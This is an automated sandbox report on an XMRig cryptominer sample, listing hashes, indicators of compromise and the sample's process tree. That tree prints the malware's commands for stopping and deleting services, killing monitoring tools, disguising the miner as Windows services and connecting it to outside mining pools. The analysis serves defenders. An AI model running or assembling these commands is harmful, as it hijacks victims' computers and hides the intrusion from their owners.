xmrig | 4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e

Analysis

max time kernel
155s
max time network
159s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
20-05-2022 18:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe
Size

2.1MB
MD5

087d6c8306538655e99a7cbc734152e6
SHA1

3f4499b01e23549ce5c2992ffaf098de9ed4cbc6
SHA256

4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e
SHA512

60b8822d1cff7fb8b82484a50fb195148d9f0d11c5d5d14a9f01c5622a324ec433828087c32416037b0567d68527364d6795bb302575d6b5e739e027ea400b40

Score

10^/10

xmrig evasion miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Detected Stratum cryptominer command
Looks to be attempting to contact Stratum mining pool.
miner

XMRig Miner Payload 4 IoCs

miner

Processes:

resource	yara_rule
C:\Windows\Fonts\conhost.exe	xmrig
\??\c:\windows\Fonts\conhost.exe	xmrig
\??\c:\windows\Fonts\dl1hots.exe	xmrig
C:\Windows\Fonts\dl1hots.exe	xmrig

Executes dropped EXE 16 IoCs

Processes:

svchost.exesvchost.exesvchost.exesvchost.exesvchost.execonhost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exedl1hots.exe

pid	process
2788	svchost.exe
3604	svchost.exe
508	svchost.exe
4564	svchost.exe
5084	svchost.exe
1244	conhost.exe
3004	svchost.exe
3980	svchost.exe
3820	svchost.exe
1884	svchost.exe
2020	svchost.exe
3228	svchost.exe
1724	svchost.exe
2576	svchost.exe
4416	svchost.exe
5056	dl1hots.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 15 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Windows\Fonts\svchost.exe	upx
C:\Windows\Fonts\svchost.exe	upx
C:\Windows\Fonts\svchost.exe	upx
\??\c:\windows\Fonts\svchost.exe	upx
C:\Windows\Fonts\svchost.exe	upx
C:\Windows\Fonts\svchost.exe	upx
C:\Windows\Fonts\svchost.exe	upx
C:\Windows\Fonts\svchost.exe	upx
C:\Windows\Fonts\svchost.exe	upx
C:\Windows\Fonts\svchost.exe	upx
C:\Windows\Fonts\svchost.exe	upx
C:\Windows\Fonts\svchost.exe	upx
C:\Windows\Fonts\svchost.exe	upx
C:\Windows\Fonts\svchost.exe	upx
C:\Windows\Fonts\svchost.exe	upx

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000\Control Panel\International\Geo\Nation	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe

Drops file in Windows directory 64 IoCs

Processes:

attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exe4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exeattrib.exeattrib.exeattrib.execonhost.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exe

description	ioc	process
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	\??\c:\windows\Fonts\conhost.exe	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File created	\??\c:\windows\Fonts\dl1hots.exe	conhost.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe
File opened for modification	C:\Windows\Fonts	attrib.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Kills process with taskkill 6 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

2488 taskkill.exe
64 taskkill.exe
2120 taskkill.exe
1856 taskkill.exe
4288 taskkill.exe
3056 taskkill.exe

pid	process
2488	taskkill.exe
64	taskkill.exe
2120	taskkill.exe
1856	taskkill.exe
4288	taskkill.exe
3056	taskkill.exe

Modifies registry class 1 IoCs

Processes:

4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

conhost.exe

pid	process
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe
1244	conhost.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exedl1hots.exe

description	pid	process
Token: SeDebugPrivilege	2488	taskkill.exe
Token: SeDebugPrivilege	3056	taskkill.exe
Token: SeDebugPrivilege	4288	taskkill.exe
Token: SeDebugPrivilege	64	taskkill.exe
Token: SeDebugPrivilege	2120	taskkill.exe
Token: SeDebugPrivilege	1856	taskkill.exe
Token: SeLockMemoryPrivilege	5056	dl1hots.exe

Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.execonhost.exe

pid	process
3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe
3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe
1244	conhost.exe
1244	conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.execmd.exenet.exenet.exenet.exenet.exenet.exe

description	pid	process	target process
PID 3920 wrote to memory of 1364	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	cmd.exe
PID 3920 wrote to memory of 1364	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	cmd.exe
PID 3920 wrote to memory of 1364	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	cmd.exe
PID 3920 wrote to memory of 1484	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	net.exe
PID 3920 wrote to memory of 1484	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	net.exe
PID 3920 wrote to memory of 1484	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	net.exe
PID 3920 wrote to memory of 1620	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	sc.exe
PID 3920 wrote to memory of 1620	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	sc.exe
PID 3920 wrote to memory of 1620	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	sc.exe
PID 3920 wrote to memory of 1656	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	net.exe
PID 3920 wrote to memory of 1656	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	net.exe
PID 3920 wrote to memory of 1656	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	net.exe
PID 3920 wrote to memory of 4340	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	sc.exe
PID 3920 wrote to memory of 4340	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	sc.exe
PID 3920 wrote to memory of 4340	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	sc.exe
PID 3920 wrote to memory of 444	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	net.exe
PID 3920 wrote to memory of 444	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	net.exe
PID 3920 wrote to memory of 444	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	net.exe
PID 3920 wrote to memory of 1604	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	sc.exe
PID 3920 wrote to memory of 1604	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	sc.exe
PID 3920 wrote to memory of 1604	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	sc.exe
PID 1364 wrote to memory of 3384	1364	cmd.exe	attrib.exe
PID 1364 wrote to memory of 3384	1364	cmd.exe	attrib.exe
PID 1364 wrote to memory of 3384	1364	cmd.exe	attrib.exe
PID 3920 wrote to memory of 1632	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	sc.exe
PID 3920 wrote to memory of 1632	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	sc.exe
PID 3920 wrote to memory of 1632	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	sc.exe
PID 3920 wrote to memory of 3184	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	net.exe
PID 3920 wrote to memory of 3184	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	net.exe
PID 3920 wrote to memory of 3184	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	net.exe
PID 3920 wrote to memory of 2096	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	sc.exe
PID 3920 wrote to memory of 2096	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	sc.exe
PID 3920 wrote to memory of 2096	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	sc.exe
PID 3920 wrote to memory of 4724	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	net.exe
PID 3920 wrote to memory of 4724	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	net.exe
PID 3920 wrote to memory of 4724	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	net.exe
PID 1484 wrote to memory of 4732	1484	net.exe	net1.exe
PID 1484 wrote to memory of 4732	1484	net.exe	net1.exe
PID 1484 wrote to memory of 4732	1484	net.exe	net1.exe
PID 3920 wrote to memory of 1968	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	sc.exe
PID 3920 wrote to memory of 1968	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	sc.exe
PID 3920 wrote to memory of 1968	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	sc.exe
PID 444 wrote to memory of 2996	444	net.exe	net1.exe
PID 444 wrote to memory of 2996	444	net.exe	net1.exe
PID 444 wrote to memory of 2996	444	net.exe	net1.exe
PID 3920 wrote to memory of 2788	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	svchost.exe
PID 3920 wrote to memory of 2788	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	svchost.exe
PID 1656 wrote to memory of 4996	1656	net.exe	net1.exe
PID 1656 wrote to memory of 4996	1656	net.exe	net1.exe
PID 1656 wrote to memory of 4996	1656	net.exe	net1.exe
PID 3920 wrote to memory of 3604	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	svchost.exe
PID 3920 wrote to memory of 3604	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	svchost.exe
PID 3184 wrote to memory of 3372	3184	net.exe	net1.exe
PID 3184 wrote to memory of 3372	3184	net.exe	net1.exe
PID 3184 wrote to memory of 3372	3184	net.exe	net1.exe
PID 3920 wrote to memory of 508	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	svchost.exe
PID 3920 wrote to memory of 508	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	svchost.exe
PID 4724 wrote to memory of 5040	4724	net.exe	net1.exe
PID 4724 wrote to memory of 5040	4724	net.exe	net1.exe
PID 4724 wrote to memory of 5040	4724	net.exe	net1.exe
PID 3920 wrote to memory of 4564	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	svchost.exe
PID 3920 wrote to memory of 4564	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	svchost.exe
PID 3920 wrote to memory of 2580	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	WScript.exe
PID 3920 wrote to memory of 2580	3920	4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe	WScript.exe

Views/modifies file attributes 1 TTPs 64 IoCs

evasion

Hidden Files and Directories

T1158

Processes:

attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exe

pid	process
1216	attrib.exe
4728	attrib.exe
1548	attrib.exe
4924	attrib.exe
4560	attrib.exe
4664	attrib.exe
4548	attrib.exe
1688	attrib.exe
4324	attrib.exe
2760	attrib.exe
2800	attrib.exe
4744	attrib.exe
4636	attrib.exe
4820	attrib.exe
3984	attrib.exe
5016	attrib.exe
1268	attrib.exe
2652	attrib.exe
3012	attrib.exe
3560	attrib.exe
992	attrib.exe
4704	attrib.exe
2504	attrib.exe
3632	attrib.exe
2740	attrib.exe
5096	attrib.exe
3624	attrib.exe
1916	attrib.exe
1236	attrib.exe
992	attrib.exe
2304	attrib.exe
2792	attrib.exe
5108	attrib.exe
4728	attrib.exe
4092	attrib.exe
3184	attrib.exe
3548	attrib.exe
752	attrib.exe
1100	attrib.exe
612	attrib.exe
2800	attrib.exe
3480	attrib.exe
1916	attrib.exe
2068	attrib.exe
112	attrib.exe
632	attrib.exe
4716	attrib.exe
1348	attrib.exe
2356	attrib.exe
4076	attrib.exe
2708	attrib.exe
5088	attrib.exe
176	attrib.exe
4436	attrib.exe
3384	attrib.exe
2120	attrib.exe
4972	attrib.exe
2560	attrib.exe
4716	attrib.exe
2200	attrib.exe
1276	attrib.exe
2084	attrib.exe
4828	attrib.exe
388	attrib.exe

C:\Users\Admin\AppData\Local\Temp\4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe
"C:\Users\Admin\AppData\Local\Temp\4b61679662313916b18999fbe63ea2d0163d2b3e6aad16e09aea27cbb97dac9e.exe"
1⤵
- Checks computer location settings
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3920

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib -s -h -r -a %SystemRoot%\Fonts
2⤵
- Suspicious use of WriteProcessMemory
PID:1364

C:\Windows\SysWOW64\attrib.exe
attrib -s -h -r -a C:\Windows\Fonts
3⤵
- Drops file in Windows directory
PID:3384

C:\Windows\SysWOW64\net.exe
net stop MicrosotMaims
2⤵
- Suspicious use of WriteProcessMemory
PID:1484

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MicrosotMaims
3⤵
PID:4732

C:\Windows\SysWOW64\sc.exe
sc delete MicrosotMaims
2⤵
PID:1620

C:\Windows\SysWOW64\net.exe
net stop MicrosotMais
2⤵
- Suspicious use of WriteProcessMemory
PID:1656

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MicrosotMais
3⤵
PID:4996

C:\Windows\SysWOW64\sc.exe
sc delete MicrosotMais
2⤵
PID:4340

C:\Windows\SysWOW64\net.exe
net stop lanmanserver /y
2⤵
- Suspicious use of WriteProcessMemory
PID:444

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop lanmanserver /y
3⤵
PID:2996

C:\Windows\SysWOW64\sc.exe
sc delete lanmanserver
2⤵
PID:1632

C:\Windows\SysWOW64\sc.exe
sc config lanmanserver start= DISABLED 2>nul
2⤵
PID:1604

C:\Windows\SysWOW64\net.exe
net stop mssecsvc2.0
2⤵
- Suspicious use of WriteProcessMemory
PID:3184

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mssecsvc2.0
3⤵
PID:3372

C:\Windows\SysWOW64\net.exe
net stop mssecsvc2.1
2⤵
- Suspicious use of WriteProcessMemory
PID:4724

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mssecsvc2.1
3⤵
PID:5040

C:\Windows\SysWOW64\sc.exe
sc delete mssecsvc2.0
2⤵
PID:2096

C:\Windows\SysWOW64\sc.exe
sc delete mssecsvc2.1
2⤵
PID:1968

\??\c:\windows\Fonts\svchost.exe
c:\windows\Fonts\svchost.exe install MicrosotMaims c:\windows\Fonts\conhost.exe
2⤵
- Executes dropped EXE
PID:2788

\??\c:\windows\Fonts\svchost.exe
c:\windows\Fonts\svchost.exe set MicrosotMaims DisplayName Network Location Service
2⤵
- Executes dropped EXE
PID:3604

\??\c:\windows\Fonts\svchost.exe
c:\windows\Fonts\svchost.exe set MicrosotMaims Description Provides performance library information from Windows Management.
2⤵
- Executes dropped EXE
PID:508

\??\c:\windows\Fonts\svchost.exe
c:\windows\Fonts\svchost.exe start MicrosotMaims
2⤵
- Executes dropped EXE
PID:4564

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\tem.vbs"
2⤵
PID:2580

\??\c:\windows\Fonts\svchost.exe
c:\windows\Fonts\svchost.exe
1⤵
- Executes dropped EXE
PID:5084

\??\c:\windows\Fonts\conhost.exe
"c:\windows\Fonts\conhost.exe"
2⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:1244

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib -s -h -r -a %SystemRoot%\Fonts
3⤵
PID:4180

C:\Windows\SysWOW64\attrib.exe
attrib -s -h -r -a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:2976

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /im taskmgr.exe /f /T
3⤵
PID:1460

C:\Windows\SysWOW64\taskkill.exe
taskkill /im taskmgr.exe /f /T
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4288

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /im rundll32.exe /f /T
3⤵
PID:1100

C:\Windows\SysWOW64\taskkill.exe
taskkill /im rundll32.exe /f /T
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3056

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /im autoruns.exe /f /T
3⤵
PID:5068

C:\Windows\SysWOW64\taskkill.exe
taskkill /im autoruns.exe /f /T
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2488

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /im perfmon.exe /f /T
3⤵
PID:4740

C:\Windows\SysWOW64\taskkill.exe
taskkill /im perfmon.exe /f /T
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2120

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:4660

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
PID:4876

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /im ProcessHacker.exe /f /T
3⤵
PID:1868

C:\Windows\SysWOW64\taskkill.exe
taskkill /im ProcessHacker.exe /f /T
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1856

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /im procexp.exe /f /T
3⤵
PID:4900

C:\Windows\SysWOW64\taskkill.exe
taskkill /im procexp.exe /f /T
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:64

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib -s -h -r -a %SystemRoot%\Fonts
3⤵
PID:3044

C:\Windows\SysWOW64\attrib.exe
attrib -s -h -r -a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:4828

\??\c:\windows\Fonts\svchost.exe
c:\windows\Fonts\svchost.exe install MicrosotMais dl1hots -o stratum+tcp://my.cloudbase-init.pw:9001 -u Admin -k --max-cpu-usage=50 --donate-level=1 -r3 --print-time=3 --nicehash -o stratum+tcp://mys.cloudbase-init.pw:9009 -u Admin -k --max-cpu-usage=50 --donate-level=1 -r3 --print-time=3 --nicehash
3⤵
- Executes dropped EXE
PID:3004

\??\c:\windows\Fonts\svchost.exe
c:\windows\Fonts\svchost.exe set MicrosotMais Description Identify computers that are connected to the network, collect and store the properties of these networks, and notify the application when they are changed.
3⤵
- Executes dropped EXE
PID:3820

\??\c:\windows\Fonts\svchost.exe
c:\windows\Fonts\svchost.exe start MicrosotMais
3⤵
- Executes dropped EXE
PID:1884

\??\c:\windows\Fonts\svchost.exe
c:\windows\Fonts\svchost.exe set MicrosotMais DisplayName WMI Performance Services
3⤵
- Executes dropped EXE
PID:3980

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:3452

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:1688

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib -s -h -r -a %SystemRoot%\Fonts
3⤵
PID:1620

C:\Windows\SysWOW64\attrib.exe
attrib -s -h -r -a C:\Windows\Fonts
4⤵
PID:2400

\??\c:\windows\Fonts\svchost.exe
c:\windows\Fonts\svchost.exe install MicrosotMais dl1hots -o stratum+tcp://my.cloudbase-init.pw:9001 -u Admin -k --max-cpu-usage=50 --donate-level=1 -r3 --print-time=3 --nicehash -o stratum+tcp://mys.cloudbase-init.pw:9009 -u Admin -k --max-cpu-usage=50 --donate-level=1 -r3 --print-time=3 --nicehash
3⤵
- Executes dropped EXE
PID:3228

\??\c:\windows\Fonts\svchost.exe
c:\windows\Fonts\svchost.exe start MicrosotMais
3⤵
- Executes dropped EXE
PID:4416

\??\c:\windows\Fonts\svchost.exe
c:\windows\Fonts\svchost.exe set MicrosotMais Description Identify computers that are connected to the network, collect and store the properties of these networks, and notify the application when they are changed.
3⤵
- Executes dropped EXE
PID:2576

\??\c:\windows\Fonts\svchost.exe
c:\windows\Fonts\svchost.exe set MicrosotMais DisplayName WMI Performance Services
3⤵
- Executes dropped EXE
PID:1724

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:1548

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
PID:4752

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:2956

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:3184

C:\Windows\SysWOW64\cmd.exe
cmd /c attrib +s +a %SystemRoot%\Fonts
3⤵
PID:316

C:\Windows\SysWOW64\attrib.exe
attrib +s +a C:\Windows\Fonts
4⤵
- Views/modifies file attributes
PID:4716

